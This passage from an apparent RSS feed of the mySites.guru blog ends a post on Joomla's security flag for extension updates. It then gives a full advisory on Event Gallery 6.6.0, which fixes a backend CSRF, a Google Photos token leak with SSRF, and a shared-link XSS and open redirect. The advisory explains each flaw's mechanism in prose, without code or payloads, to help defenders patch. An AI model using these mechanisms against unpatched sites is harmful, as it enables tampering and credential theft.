&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-extension-update-security-flag-update-list.GJloTqxA_ZgrBr.webp&quot; alt=&quot;Joomla 6.1.4 Extensions Update list with two module updates from 1.0.0 to 1.0.1: Example Forms with an amber Security release level: Medium badge and Example Gallery with a red Security release level: High badge under the extension name&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;401&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The Home Dashboard’s extension updates quick icon, the one that already says “Updates are available!”, adds a line naming each extension with a security update:&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-extension-update-security-flag-dashboard.H4hnM2Ul_23JduB.webp&quot; alt=&quot;Joomla 6.1.4 Home Dashboard quick icon reading Updates are available! 2, followed by Security update is available for Example Forms! and Security update is available for Example Gallery!&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;276&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The dashboard line does not say how severe the update is, only that it is a security update, so open the update list to see the level. Install the red ones first.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;No badge does not mean no security fix&lt;/p&gt;&lt;div&gt;&lt;p&gt;The security level is something the extension developer chooses to send, and in October 2026 fewer than one feed in a thousand sends it. An update with no badge can still be a security release. Read the changelog, and do not wait for a badge before applying updates from a vendor with a history of quiet security fixes.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Where mySites.guru fits&lt;/h2&gt;
&lt;p&gt;mySites.guru does not wait for vendors to flag their own releases. Part of the subscription is a check of every installed Joomla extension version, on every connected site, against &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;our Joomla extension vulnerability rules&lt;/a&gt;, which we write from vendor advisories, CVE records and our own research. A site running an affected version is flagged whether or not the vendor’s update XML says anything, and the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;vulnerabilities page&lt;/a&gt; lists every rule we hold. The security tag will make vendor-flagged releases easier to spot in Joomla itself, and it is a welcome change, but it can only ever describe the releases a vendor chose to label.&lt;/p&gt;
&lt;p&gt;The same connection lists every available extension update across all your Joomla sites on one screen, and can apply them for you with &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; with a backup first. If you manage more than a handful of Joomla sites, that is the quickest way to make sure a security release you hear about today is installed everywhere by tonight. See &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;what it costs&lt;/a&gt;, or &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one dashboard.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; Pull request 48127 opened Allon Moritz of Digital Peak proposes a security flag for extension updates, aimed at Joomla 6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-31&lt;/strong&gt; Merged into the 6.2 branch The security column, the update manager badge and the Home Dashboard notice arrive in 6.2-dev.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-11&lt;/strong&gt; Highest severity follow-up merged Pull request 48190 makes Joomla show the highest level of every release newer than the installed version, not just the latest one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; Backported to Joomla 5.4 Pull request 48233 brings both changes to the 5.4 branch, and from there to 6.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-02&lt;/strong&gt; Documented in the Joomla Manual The tag is added to the update server page of the developer manual, not to the changelog page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; Joomla 5.4.9 and 6.1.4 released The first stable releases that read the tag. Joomla 6.2.0 RC1 ships the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-13&lt;/strong&gt; Joomla 6.2.0 due The release the feature was written for.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/update-server/&quot;&gt;Joomla Manual: Update Servers&lt;/a&gt; - the reference for every update XML element, including security&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/install-update/installation/change-log/&quot;&gt;Joomla Manual: Change Log&lt;/a&gt; - the changelog XML format and its own security element&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/issues/2026/august-2026/time-to-mark-your-security-updates&quot;&gt;Extension developers, it&apos;s time to mark your security updates&lt;/a&gt; - Allon Moritz&apos;s announcement in the Joomla Community Magazine, with the severity mapping&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48127&quot;&gt;joomla-cms pull request 48127&lt;/a&gt; - the original change and its review discussion&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48190&quot;&gt;joomla-cms pull request 48190&lt;/a&gt; - the highest-severity follow-up, with the test feed used in this post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/v4.0/specification-document&quot;&gt;FIRST: CVSS v4.0 Specification&lt;/a&gt; - the qualitative severity bands the level mapping in this post follows&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>updates</category><category>extension development</category><enclosure url="https://mysites.guru/img/og/blog/joomla-extension-update-security-flag.png" length="0" type="image/png"/></item><item><title>Event Gallery 6.6.0 Fixes Forged Backend Changes and a Google Photos Token Leak</title><link>https://mysites.guru/blog/event-gallery-6-6-0-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/event-gallery-6-6-0-security-release/</guid><description>Event Gallery 6.6.0 fixes a backend CSRF, a Google Photos token leak and an XSS (CVE-2026-102776 to 102778). Every Joomla site below 6.6.0 needs it.</description><pubDate>Sun, 04 Oct 2026 13:28:12 GMT</pubDate><content:encoded>&lt;p&gt;Sven Bluege released &lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download/event-gallery-core/6-6-0&quot;&gt;Event Gallery 6.6.0&lt;/a&gt; for Joomla on 4 October 2026, eight days after the &lt;a href=&quot;https://mysites.guru/blog/event-gallery-6-5-0-security-release/&quot;&gt;6.5.0 security release&lt;/a&gt;. It fixes three more vulnerabilities. Eight buttons in the backend lists could be triggered from another website, the Google Photos picker could be made to send its access token to any address, and the page a shared image link opens could run script or redirect the visitor.&lt;/p&gt;
&lt;p&gt;All three are still present in 6.5.0. A site you updated last week is affected again, and so is every site still below it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update Event Gallery to 6.6.0 on every Joomla site that runs it, Core and Extended alike, including sites already on 6.5.0. 6.6.0 needs Joomla 5.4 or later, or Joomla 6, and PHP 8.2, so a site still on &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Joomla 3&lt;/a&gt; or 4 has to upgrade Joomla first. If you override the backend layout &lt;code&gt;tmpl/files/default.php&lt;/code&gt; in your template, copy the star and table-icon buttons from the new file, or they stop with a token warning.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.1&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;CVE-2026-102776: forged changes from the backend lists&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A page on another website could change payment and shipping defaults, image type sets, order statuses, watermarks and image flags through a logged-in administrator. Nothing can be deleted or read.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Logged-in admin opens a page&lt;/span&gt;&lt;span&gt;Every version below 6.6.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:A&lt;/dt&gt;&lt;dd&gt;Active: Someone has to be talked through a few steps&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt;CVE-2026-102777: Google Photos access token sent elsewhere&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The server could be made to send the Google Photos access token to any address, or to fetch addresses inside its own network. Only sites with a Google Photos account set up.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:H/SI:L/SA:L&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Logged-in admin opens a page&lt;/span&gt;&lt;span&gt;5.4.0 to below 6.6.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:A&lt;/dt&gt;&lt;dd&gt;Active: Someone has to be talked through a few steps&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data on other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:L&lt;/dt&gt;&lt;dd&gt;Low: Other systems degrade&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;CVE-2026-102778: XSS and open redirect from a shared image link&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA (the vendor rates it Low, 2.3)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A crafted shared image link could run script in the visitor&apos;s session or send them to another website. Only sites with Share article links switched on.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Visitor opens a crafted link&lt;/span&gt;&lt;span&gt;3.11.6 to below 6.6.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Event Gallery 6.6.0 fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt;, all published by the Joomla CNA on 5 October 2026&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;: eight backend list buttons did not check Joomla’s form token, so a prepared page could change shop and gallery settings through a logged-in administrator. It affects every version below 6.6.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt;: the Google Photos thumbnail proxy fetched whatever address it was given, with the account’s access token attached and no form token. Sites with a Google Photos account, from 5.4.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt; (EGSA-2026-08): with Share article links switched on, a shared image link could run script or redirect the visitor. From 3.11.6, and the option is off by default&lt;/li&gt;
&lt;li&gt;6.5.0 is affected by all three. About two in five Event Gallery installs we monitor moved to 6.5.0 in the last eight days, and all of them need 6.6.0 now&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running Event Gallery below 6.6.0&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Forged changes from the backend lists (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;)&lt;/h2&gt;
&lt;p&gt;Joomla protects every form with a token, a value the server checks so it can tell a request the user made from one another website made on their behalf. Eight buttons in Event Gallery’s backend lists skipped that check. According to the vendor’s notes, they set:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the default payment method and the default shipping method&lt;/li&gt;
&lt;li&gt;the default of the image type sets, order statuses and watermarks&lt;/li&gt;
&lt;li&gt;whether an event is In shop&lt;/li&gt;
&lt;li&gt;the main image of an event, and whether an image is shown only as the main image&lt;/li&gt;
&lt;li&gt;the sort order of an event’s images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each was a plain link. If an administrator who was logged in to the backend opened a page that requested one of those links in the background, the change went through with their session. On a photo shop, that is enough to switch the default payment or shipping method, swap the watermark, take an event out of the shop or reorder and hide its images.&lt;/p&gt;
&lt;p&gt;The vendor sets out the limits: nothing could be deleted or read this way, and orders were not affected. It is a nuisance and an integrity problem, not a takeover. The same class of bug was behind three of the five CVEs fixed in 6.5.0, and the Joomla CNA scores this one 5.1, the same as the 6.5.0 upload and clean-up CSRFs.&lt;/p&gt;
&lt;p&gt;6.6.0 makes all eight require the token. The star and the table icon in the image list now submit the list form the way the publish icon next to them does, instead of following a link. That is the one change a site owner can trip over: &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;a template override&lt;/a&gt; of the backend &lt;code&gt;tmpl/files/default.php&lt;/code&gt; still holds the old links, and they will stop with Joomla’s invalid token warning until you copy the two buttons from the new file.&lt;/p&gt;
&lt;h2&gt;The Google Photos token leak (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt;)&lt;/h2&gt;
&lt;p&gt;Event Gallery can pull images from a Google Photos account. On the upload page, the picker shows thumbnails, and Event Gallery fetches those thumbnails through your own server, sending the Google Photos access token with each request so Google will serve them.&lt;/p&gt;
&lt;p&gt;Before 6.6.0, the address to fetch came from the request and was not checked, and the request needed no form token. Put those together and a page on another website could make your server send the Google Photos access token to an address of the attacker’s choosing, or fetch addresses inside your own network, while an administrator was logged in to the backend. A backend user with permission to manage Event Gallery could do the same directly, without anyone being tricked.&lt;/p&gt;
&lt;p&gt;The leaked token is a credential for the connected Google Photos account, and the internal fetches are a classic server-side request forgery: the web server can usually reach things the outside world cannot. Only sites with a Google Photos account set up in Event Gallery are affected, from 5.4.0 on. 6.6.0 fetches only addresses on Google’s image hosts and requires the form token on the picker requests. The vendor also added a random state value to the Google Photos authorisation, checked against the session on the way back, as hardening without a known vulnerability.&lt;/p&gt;
&lt;p&gt;If you did connect a Google Photos account and cannot rule out that an administrator opened something they should not have, disconnect and reconnect the account after updating, so that any token issued before the fix stops working. That step is our advice, not the vendor’s.&lt;/p&gt;
&lt;h2&gt;The shared image link XSS and open redirect (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt;)&lt;/h2&gt;
&lt;p&gt;The vendor rated the third issue Low (2.3) and released it as EGSA-2026-08 without a CVE. The Joomla CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt; for it the next day and scores it 5.3, Medium. The record’s affected range reads 1.0.0 to 6.6.0, but its own title says below 6.6.0, and 6.6.0 is the release that fixes it. With the option Share article links switched on, the page a shared image link opens links back to the article the image was shared from. It took that article’s address straight from the shared link and printed it as it came, and with the link type Image Page with Redirect it followed the address at once.&lt;/p&gt;
&lt;p&gt;A crafted link could therefore run script in the page, in the session of whoever opened it, or send the visitor to another website. Only sites with Share article links on are affected, from 3.11.6, and the option is off unless someone switched it on. 6.6.0 follows only an address on your own site and escapes it. Until you can update, switch Share article links off in the Event Gallery options, on the Social tab.&lt;/p&gt;
&lt;h2&gt;Why sites on Event Gallery 6.5.0 need to update again&lt;/h2&gt;
&lt;p&gt;Eight days ago, 6.5.0 was the answer. Since then, about two in five of the Event Gallery installs connected to mySites.guru have moved to it. All of those sites is affected by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt;, and those with a Google Photos account by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt; as well. On the morning 6.6.0 came out, only a handful of the installs we monitor had it, and 99% were below it.&lt;/p&gt;
&lt;p&gt;The update itself is light. 6.6.0 has the same requirements as 6.5.0 (Joomla 5.4 or later, or Joomla 6, and PHP 8.2), so any site that took 6.5.0 can take 6.6.0 in a couple of minutes. The release also makes orders, payments and mails more reliable and prepares Event Gallery for Joomla 7, and its migration hints are worth a read before you update a shop. If your checkout uses a template override of &lt;code&gt;checkout/review.php&lt;/code&gt;, it needs one new hidden field, and Stripe no longer offers SEPA Direct Debit, Sofort or Giropay.&lt;/p&gt;
&lt;p&gt;The sites that cannot take it are the same ones that could not take 6.5.0. Of the affected sites we monitor, 64% run Joomla 5.4 or later, 29% are on Joomla 3 and 7% on Joomla 4. For the third on Joomla 3, there is no Event Gallery build with these fixes, and the real job is &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;getting off Joomla 3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This time the release page did its job. 6.6.0 opens with a sentence saying it fixes three vulnerabilities, links to a Security Fixes section that sits above the features, and gives each fix an advisory id, a CVE where there is one, a severity, the versions affected and what to do before you can update. That is the format we asked for in &lt;a href=&quot;https://mysites.guru/blog/event-gallery-6-5-0-security-release/&quot;&gt;our 6.5.0 post&lt;/a&gt;, and it is what lets someone looking after dozens of sites decide in a minute that this one goes out today.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags Event Gallery below 6.6.0&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of each extension on each connected Joomla site twice a day. Our Joomla vulnerability database had an entry for Event Gallery below 6.6.0 on the day the release came out, so a connected site running an older component is flagged on its dashboard and in its audit, whether it runs Core or Extended. The &lt;a href=&quot;https://mysites.guru/vulnerabilities/eventgallery/&quot;&gt;Event Gallery page of our vulnerability list&lt;/a&gt; shows both Event Gallery rules, and the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how the flags work across all the extensions we track.&lt;/p&gt;
&lt;p&gt;The same audit checks the Joomla core version, which decides how much work each flagged site needs. A site on Joomla 5.4 or later can be &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;updated in bulk from one dashboard&lt;/a&gt;. A site on Joomla 3 or 4 goes on the upgrade list.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Joomla CMS Version Must Be Up-to-date&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What can I do before I can update Event Gallery?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102776/&quot;&gt;CVE-2026-102776&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102777/&quot;&gt;CVE-2026-102777&lt;/a&gt; need a logged-in backend user to open a page or link an attacker prepared, so the exposure is the set of accounts with backend access to Event Gallery and what those people browse while logged in.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Switch Share article links off in the Event Gallery options (Social tab), which closes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102778/&quot;&gt;CVE-2026-102778&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you no longer use the Google Photos integration, remove the account from Event Gallery&lt;/li&gt;
&lt;li&gt;Review who can manage Event Gallery in the backend and remove that permission where it is not needed&lt;/li&gt;
&lt;li&gt;Ask administrators to log out of the backend before browsing elsewhere&lt;/li&gt;
&lt;li&gt;Check the payment and shipping defaults, watermarks and In shop flags of your events if anything about the shop looks different, and run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;full site audit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of that replaces the update. If you look after more than a few Joomla sites, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; shows you which ones run Event Gallery below 6.6.0, and the Joomla version each one is on, from one dashboard.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download/event-gallery-core/6-6-0&quot;&gt;Event Gallery Core 6.6.0 release page&lt;/a&gt; - the vendor&apos;s notes, with the Security Fixes section first&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download&quot;&gt;Event Gallery downloads&lt;/a&gt; - Core and Extended packages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Cross-Site Request Forgery Prevention Cheat Sheet&lt;/a&gt; - why every state-changing request needs a form token&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Server-Side Request Forgery Prevention Cheat Sheet&lt;/a&gt; - the allow-list approach 6.6.0 takes for the Google Photos thumbnails&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918: Server-Side Request Forgery&lt;/a&gt; - the two weakness classes behind the CVEs&lt;/li&gt;
&lt;/ul&gt;
